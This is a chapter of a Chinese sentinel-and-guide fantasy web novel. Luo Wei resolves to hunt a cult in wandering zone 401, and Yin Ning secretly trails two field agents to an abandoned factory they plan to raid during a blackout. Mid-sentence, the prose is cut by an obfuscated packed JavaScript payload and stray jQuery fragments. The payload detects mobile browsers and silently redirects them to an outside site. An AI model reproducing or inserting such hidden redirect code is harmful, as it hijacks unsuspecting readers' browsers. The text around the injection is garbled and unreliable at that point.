“你要离开基地,再次前去流浪区调查?”治疗中心的办公室内,温文尔雅的中年人问道。
这是徐清源,一位资深的A+级向导,治疗中心的负责人,也是圣所的所长。
像大多数向导一样,他很注重自己的形象,因此保养得当,尽管年逾五十也只是眼尾有几条细细的纹路。
洛维点点头:“在先前的精神疏导时,我觉察到了那个人异常,因此仔细搜索了记忆。果不其然他有问题,而教团在401流浪区的确有据点。我得去那里继续上一次的追查。”
“你这孩子。”徐清源叹了口气,“上次听说【无面人】的消息后招呼也不打一声就跑走了,我还担心了好几天。”
“啊,当时情况急嘛,更何况消息称【无面人】擅长易容变身,说不定耽误一会儿就跑了。”洛维自知理亏解释道,“只不过我还是去晚了一步。我追踪着【无面人】的三个朋友一起出了栖息地,试图套出点情报。可惜他们什么也不知道,甚至为了找到假死失踪的【无面人】冒着生命危险再度前往荒野。”
徐清源是他尊敬的师长。当年自己的父母在任务里意外身亡后,这位圣所的所长起了爱才之心,对自己多有照顾、悉心指导。
这是洛维为数不多信任的人之一,因此他将事情的来龙去脉和盘托出。
“后来呢?”
“那三人已经进入异变终末期了,连记忆都混乱不堪搜不出什么东西,我只好把他们解决了。”洛维说,“我猜测他们的异变或许也只是【无面人】抹除自己痕迹的手段之一。”
徐清源抬起眼:“外勤队前俩天给我发过报告,401号流浪区近期不太平。你当真要去?”
“是。”洛维毫不犹豫。
他曾经也有一个完整和幸福的家,然而12年前教团在401号流浪区策划的混乱毁掉了这一切。
自成年开始,他便一直在寻找关于这些的线索;前些日子好不容易得知了【无面人】的消息却又断了踪迹。此刻教团成员自己送上门来,可谓是瞌睡时送枕头。
洛维势必要去那里调查当年拿起意外的始末,找到一个答案。这是他对自己,也是对已故父母的交代。
“那你这次不能再单枪匹马冲动行事了。即便你在精神力上的能力无人能及,但倘若遇上大规模混战依然无法弥补身体素质上的差距。”徐清源说,“我会给外勤队那里发消息,告知他们你的到来。你可以加入那支小队一起调查。
“至于为什么基地里会混入教团成员,我们已经在查了,想必过不了太久就能把与他相关的人物都揪出来。”
洛维表示明白。
“对了——”临近出门前,徐清源又叫住他,“刚刚那个教团成员,为什么要冒着被发现的危险找上你?”
“我不知道。”
或许是对于自己将要失控暴走过于恐惧,也或许是其他什么原因。总之那人抱着侥幸心理来赌一把,没想到被抓了个正着。
洛维从他不愿身份验证时就察觉到问题了,因此假装成一副无法反抗的样子。
他耐心地支走其他人,锁上门,关了灯等着那个哨兵敞开精神图景自以为一切顺利——
然后操作精神力发起致命攻击,彻底解除这个隐患。并把他知道得东西
至于那些恐吓的话语……
从小到大用类似说辞侮辱和挑衅他的数不胜数,时至今日他已经能将其视为一种夸赞。
真是一个失败的教团成员啊。他心想。走投无路时竟会饥不择食来治疗中心求救,也不知道该说他太天真还是太愚蠢。
“人都是怕死的,但以这样滑稽的方式自爆身份实在没骨气得让人招笑。”洛维最后留下了一句评价。
*
那对向哨搭档在做完记录后就离开了。
殷甯在窗户里注视着他们,他们现在走出筒子楼大门又和利维娅打了个照面,然后坐上外勤部的越野车离开。
她想了一下,迅速套上一件衣服从窗户里翻出去跟上。
越野车在狭小的街巷里穿梭,路边房屋都紧闭了大门窗户;街道上和被清场一样冷清,寥寥几个来不及离开的行人也都努力往边上缩。
这是对白塔向哨的恐惧。
向导哨兵拥有着远超普通人的力量,在基地法案的规定下也拥有着对被感染变异者的处决权。这意味着在这些流浪区的原住民眼中,自己不过是向哨们案板上的一条鱼。
没有人愿意被监视,也没有人喜欢头顶时时刻刻高悬利剑的恐惧感。
越野车轧着路面上的瓶瓶罐罐缓缓前挪,殷甯在它上空的屋檐之间轻盈地穿梭跳跃。
她将蛛丝附着在俩侧的屋顶,借助它们飞檐走壁。
流浪区早破得不成样子了,除了中心街区的场所外压根没有监控,更不用说屋顶上这样反常的地方;末日的每一分电每一份资源都弥足珍贵,不能用在这样无足轻重的事情上。因此她倒是不用担心被人看到。
殷甯想看看这对向哨接下来会去哪儿。他们是因为【无面人】的事情找上门来向自己询问线索的,可惜无功而返甚至得到了部分错误提示。接下来按理说他们就该去找别的相关知情人了。
离开白塔的这些年里,殷甯同样也在打听着教团成员的下落。
三年前那次惨烈战役处处反常:幼稚裂缝里出现的“黑潮”、扩张延申又猝然停下的裂隙……整件事情背后同样隐藏着教团的影子。
殷甯想要找到事情真相。
辗转不同流浪区的过程里,她已然摧毁了多个教团据点,对这个曾经知之甚少的组织一步步加深了解。
上一个流浪区最终毁灭于异种进攻。在那之后殷甯循着线索来到了401号流浪区,并隐藏身份融入其中。先前种种蛛丝马迹都在显示,这里潜藏着一个大型据点及相关黑色产业链。
或许这对突然出现的向哨反而是一个契机——外勤部成员众多、情报也远比单打独斗的自己丰富;跟着他们走应该能省去不少麻烦。
出于这种打算,她跟踪了这俩人;看着他们一次次停车登门拜访,从多个相关人员那里搜集信息。
殷甯听了几场问话,并没有获得太多有效信息。现在时间已经到了下午,她萌生了退意,因为还得赶去集市换购金币,晚上就是房租截止时间。
然而就在这时,下方那辆越野车从居民区小巷道里倒出来,朝着主干道驶去。再接下来它一路沿着大路,驶离了居民聚集的主街区。
殷甯迟疑了一下仍然跟上。
两侧建筑越来越破烂和稀疏,渐渐的已没有能够落脚的屋顶。殷甯干脆直接跃下去落在车顶上,卡了一个视觉死角。她动作轻极了,车内的俩人压根没有察觉。
越野车最后停在了一片废弃的建筑群落前。
锈迹爬满外围密集的铁丝网,上面挂着已经被腐蚀一半的“高压危险,严禁入内”提示牌,地面上则长满枯槁的、狰狞的野草。
这是一处废弃工
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904813|176811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厂,在各个流浪区中这样的地点有许多。
曾经这些地方也承担着繁忙的制造任务,但随着居住地的退缩、工业区的没落全都接二连三荒废了。
设备和人员们匆匆撤离时来不及对工厂内的废弃物进行无害化处理,只得草草用高压电网围住防止有人误入。
车门打开,殷甯赶紧从车顶滑下去躲到车后。然后她看到俩人涉着风里湍流似的长草,走向铁丝网。
“这里就是先前消息里说的可疑地点吗?”穆菁宜打量着周围荒凉的环境。
“就是这里。”路文远点头,“情报的可靠性有待考证。但是今天的上门调查里我们没能获得更多的有用信息,恐怕最后也只能赌一把将这里作为突破口。”
“但是高压铁丝电网是个问题。”穆菁宜说,“这一整片区域都被围起来了,在不知道秘密通道的情况下要想进去我们势必得越过电网。
路文远打量了俩眼:“以我精神体融合后的能力应该可以破坏电网,但是这需要一定时间,恐怕会给教团足够的反应机会。”
“电网也在街区电力中心的控制范围内。或许我们可以制造一起大范围的人为停电,然后趁机进入废弃工厂进行彻查。”穆菁宜思忖道。
“很好的主意。”路文远对搭档的想法表示赞叹,“那就6天后。晚上12点。那时候零碎的一些事情应该处理完了,我们和其他同事能够腾出手来对这里进行清扫。”
“希望这次能有所收获吧。”穆菁宜叹气。
他们已经太久没有进展了。
周围皆是风吹野草的簌簌声,路文远环顾四周微微皱起眉头。
“怎么了?”
“我隐约感觉,有人在看着我们。”哨兵有些不确定,“那种感觉很微弱,时有时无,我不知道是不是我的错觉。”
穆菁宜瞬间也警觉起来。
这人烟稀少又空旷的地方,他们的车反而成了唯一掩体。俩人对视一眼,一左一右分开从俩个方向朝越野车包抄过去——
车后部空无一人。
“看来是我太疲劳感官过敏了。”路文远不知道是叹了口气还是松了口气。
“回车上吧。我给你做个精神疏导,我们也该返程了。”穆菁宜说。
很好的听力让俩人的一切计划都落入殷甯耳中。
她现在正躲在车底下,双手双脚一齐用力扒拉着车底那些凹凸不平之处,和个大蜘蛛似的。
越野车的底盘很高,足以她藏身。
果然,这处废弃工厂里有猫腻,很可能藏着她想知道的东西。
殷甯打算6天后的晚上趁乱来浑水摸鱼。
那时应该会爆发不小的动静,没电了又黑灯瞎火,很方便她深入废弃工厂尽情搜查一番。
如果到时候遇到了什么棘手的敌人,她就顺带出手抓了放在门口,算是对外勤部这些人情报的答谢。
这样想着,殷甯一路搭乘着“攀岩特别席”版顺风车,回到主街区;并在一个无人的拐角飞速下车,重新在屋顶之间飞跃着回了家。
然后她坐在沙发上简单思考了这对向哨的登门拜访,以及这几天经历的事情。
洛维当时出现的时机就很微妙,是在队伍即将出发时临时加入的。
看他后续一系列反应:从主动示弱迷惑他人到完成反杀,绝不是新手;甚至不太像是被临时卷入这桩事情里的。
他从一开始就有备而来?
殷甯心中升起一个疑惑。